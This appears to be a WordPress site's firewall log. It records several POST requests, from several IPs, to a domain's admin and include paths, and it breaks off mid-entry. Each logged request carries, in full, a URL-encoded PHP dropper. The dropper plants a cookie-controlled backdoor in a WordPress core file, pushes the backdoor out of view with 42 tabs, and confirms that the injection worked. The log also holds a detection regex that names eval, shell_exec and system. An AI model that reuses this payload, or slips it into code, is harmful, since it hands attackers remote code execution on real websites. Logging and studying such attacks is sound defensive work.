Mc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3266\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nMc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:46:46","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3266\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nvL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:46:55","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3266\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nfz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:47:12","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3289\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%